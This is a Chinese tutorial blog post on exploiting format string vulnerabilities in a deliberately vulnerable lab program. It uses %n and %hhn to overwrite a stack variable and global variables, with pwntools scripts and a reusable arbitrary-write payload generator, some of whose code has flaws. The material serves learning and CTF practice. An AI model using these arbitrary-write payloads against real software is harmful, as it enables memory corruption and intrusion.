CTF

「format str漏洞」格式化字符串漏洞利用之覆盖内存

Posted by 许大仙 on August 30, 2018

此前的笔记中已描述了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么还有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢?答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。

回想一下在printf中所有的格式化字符串类型,像%s,%d这类的都是输出,还有一个特殊的类型就是%n

%n,不输出字符,但是可将已经成功输出的字符数量写到对应的整型指针参数[说白了也就是写入地址]所指的变量。

通过这个类型参数,再加上一些小技巧,就可以达到目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。


这里我们给出如下的程序来介绍相应的部分。

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s); #控制s的值,可以产生格式化字符串漏洞
  if (c == 16) {
	puts("modified c.");
  } else if (a == 2) {
	puts("modified a for a small number.");
  } else if (b == 0x12345678) {
	puts("modified b for a big number!");
  }
  return 0;
}

makefile在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的payload

…[overwrite addr]….%[overwrite offset,即k]$n

其中…表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址的存储位置为输出函数中格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 增加paddings[即…]以达到要写入的数据值
  • 进行覆盖

一、覆盖栈内存

1.确定覆盖地址

现在先来考虑覆盖变量c,给变量c赋值为16,让程序能够输出”modified c.”[也就是if(c==16)成立]。但是我们不知道栈变量c的具体地址。由于目前几乎上所有的程序都开启了aslr保护,所以栈的地址一直在变,所以我们这里故意输出了c变量的地址。

printf(“%p\n”, &c);

2.确定相对偏移

其次,来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。 这里我们通过之前的泄露栈变量数值%p、%d的方法来进行操作。

通过gdb调试: -m32产生32位程序

break printf

r

c 输入”test_string”

得到以下调试结果,停止在printf(s);的位置

确定offset

在0xffffd004处存储着0x315=789,是变量c的值。继而,再确定自定义格式化字符串s[也是栈变量]即’test_string的地址0xffffd008相对于printf函数的格式化字符串参数0xffffcff0的偏移为0x18,即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第6个参数。

注:通过一个断点暂停处[ printf(“%p\n”, &c);]我们可以知道栈变量c的存储位置:0xffffd004,与上述一致。

确定c变量的地址

3.进行覆盖

第6个参数处的值就是存储变量s的地址,我们便可以利用%n的特征来修改栈变量c的值。payload如下

[addr of c]…[padings]…%6$n

[addr of c]的长度为4字节,故而我们得再使printf输出12个字符才可以达到16个字符,以便于来修改c的值为16。【回顾n类型的作用就可知】

所以最终的payload为:

[addr of c]%012d%6$n

具体脚本为:

#!/usr/bin/python
from pwn import *
re = process('./cover')

raw_addr=re.recvuntil('\n',drop=True) #drop=True则丢弃\n
c_addr = int(raw_addr,16) #将字符串转化成整数,解析过程:16进制方式。也就是16进制数的字符串形式变成10进制数
print hex(c_addr) #将10进制数以16进制数方式打印

payload = p32(c_addr) +"%012d" + '%6$n'
print payload

re.sendline(payload)
print re.recv()
re.interactive()

修改c变量为16

二、覆盖任意地址内存

1.覆盖成小数字

为什么要分成大数字和小数字来进行呢?

首先,我们来考虑一下如何修改data段的变量为一个较小的数字,比如说:小于机器字长的数字。这里以 “将位于.data节的全局变量a=123,赋值2”为例。一开始看可能会觉得这其实和之前的讲述没有什么区别,可仔细一想,真的没有么?

如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节[机器字长不是4就是8,怎么可能输出字符数小于4]。显然,无论之后如何输出,都只会比4大。

或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。[整型溢出大致的理解就是超越整型类型数据的上界/下界,由于整型的模运算特点,越界相当于取模,通过大数越界就可以得到小数据。比如unsigned short上界为65535,假如我们给unsigned short赋值为65538,也许就会得到2]

整数溢出

仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找准确偏移[标记起始点],所以才把tag放在字符串的最前面,如果我们把tag放在中间,其实也是无妨的

类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第6个参数。由于我们想要把2写到对应的地址处,故而格式化字符串的前面的字节必须是

aa%k$nxx…

在进行%k$n解析之前,已经输出了2个字符即“aa”,所以这里会把对应偏移下的内存值,作为地址,在这个地址下写入2。

那么k如何确定?地址又怎么放置在s中呢?其实aa%k就是第6个参数,$nxx其实就是第7个参数,后面我们如果跟上我们要覆盖的地址,那就是第8个参数,所以如果我们这里设置k为8,其实就可以覆盖了

aa%8$nxx[addr of 变量a]


现在实施攻击

利用ida可以得到a的地址为0x0804A028(由于a、b是已初始化的全局变量位于.data节中,而不在堆栈中,故NO PIE情况下.data)

.data节中a的地址

可构造如下代码: #!/usr/bin/python from pwn import * re = process(‘./cover’)

a_addr = 0x0804A028

payload = "aa"+"%8$n"+"bb"+p32(a_addr)
print payload

re.sendline(payload)

print re.recv()

re.interactive()

运行结果成功修改a为小数据

其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。

当然tag可以先放在最前面,确定大致的偏移,再推算把地址放在中间时的偏移。

2.覆盖大数字

对于大数字,我们可以选择直接一次性输出大数字的4个字节来进行覆盖[前面输出一堆字符,使得字符数=所需大数值],但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。

现在我们就尝试把变量b修改成大数字0x12345678。

不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678在内存中由低地址到高地址依次为\x78\x56\x34\x12。

再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。

h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

所以说,我们可以利用%hhn向某个地址写入单字节[而不是4字节4字节的写入,只修改这个地址下的字节,不影响其余3字节],利用%hn向某个地址写入双字节

而不同于%n,如果已输出字符数为10,那么会在将给定地址处,高地址-低地址赋值为0x0000000A。但是%hhn,%hn只会影响1个字节/2个字节,其他字节保持

确定b变量的存储地址

b变量作为已初始化的全局变量,同样位于.data节中,利用ida看一下,可以发现地址为0x0804A02C[这是变量b的起始地址,实际b作为int类型,占据的地址为0x0804A02C-0x0804A02F]

接下来,按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。

0x0804A02C \x78

0x0804A02D \x56

0x0804A02E \x34

0x0804A02F \x12

由于此前通过调试确定,我们的字符串的偏移为6,所以我们可以确定我们的payload基本是这个样子的:

p32(0x0804A02C)+p32(0x0804A02D)+p32(0x0804A02E)+p32(0x0804A02F)+padding1+’%6$n’+padding2+’%7$n’+padding3+’%8$n’+padding4+’%9$n’

以上未明确的padding,按照根据需要填充的数据值进行修改,使得在进行解析%k$n之前,输出的字符串数[用paddings来控制]等于这个地址要写入的数值。

这里有一个通用的写入大数的脚本

//格式化字符串漏洞——覆盖4字节的大数字[大数字中的各个字节很小也可以]

def fmt(prev, word, index):
    if prev < word:
    result = word - prev  #此前已经输出prev个字符,现在补充word-prev个字符,相当于总的输出了word个字符
    fmtstr = "%" + str(result) + "c" #解析栈中对应值,输出result个字符
    elif prev == word:
    result = 0
    else:  #word<prev
    result = 256 + word - prev #如果这个地址要写入的数字小于已经输出字符数,
	#那么就+256=0x0100,让他成为一个2字节大小的数据,实际%hhn只会写入低位的那个字节。
	#因为此前已经输出了prev个字符,这里是做字符补充,所以最终相当于输出%(256+word)c,256=0x0100高位被舍去,剩下低字节的word。
    fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
def fmt_str(offset, size, addr, target):
        payload = ""
        for i in range(4):
        if size == 4:
        payload += p32(addr + i)
        else:
        payload += p64(addr + i)
        prev = len(payload)
        for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) #(target >> i * 8) & 0xff获取大数字的每一个字节
        prev = (target >> i * 8) & 0xff
        return payload
    
payload = fmt_str(6,4,0x0804A02C,0x12345678)  
# 6:字符串参数首个待写地址的偏移 ; 4:32位,4字节机器 ;写入变量的起始地址【低地址】 ;写入变量地址的数据

参数含义:

  • offset表示要覆盖的地址最初的偏移
  • size表示机器字长
  • addr表示将要覆盖的地址。
  • target表示我们要覆盖为的目的变量值。

最终修改b变量为0x12345678的脚本如下:

#!/usr/bin/python

from pwn import *
def fmt(prev,word,index):
	if(prev < word):
		result = word-prev
		fmtstr = "%" + str(result) + "c"
	elif(prev == word):
		result = 0
	else:
		result = 256 + word-prev
		fmtstr = "%" + str(result) + "c"
	fmtstr += "%" + str(index) + "$hhn"
	return fmtstr

def fmt_str(offset,size,addr,target):
	payload = ""
	for i in range(4):
		if(size ==4):
			payload += p32(addr + i)
		else:
			payload += p32(addr + i)
	prev = len(payload)
	for i in range(4):
		payload += fmt(prev, (target >> i * 8)&0xff, offset + i)
		prev = (target >> i * 8)&0xff
	return payload    

re = process('./cover')
payload = fmt_str(6,4,0x0804A02C,0x12345678)
print payload

re.sendline(payload)
print re.recv()

re.interactive()	

运行结果

当然,我们也可以利用%n分别对每个地址进行写入[这样就是4字节写入],也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用%hhn则不会有这样的问题,因为这样只会修改相应地址的一个字节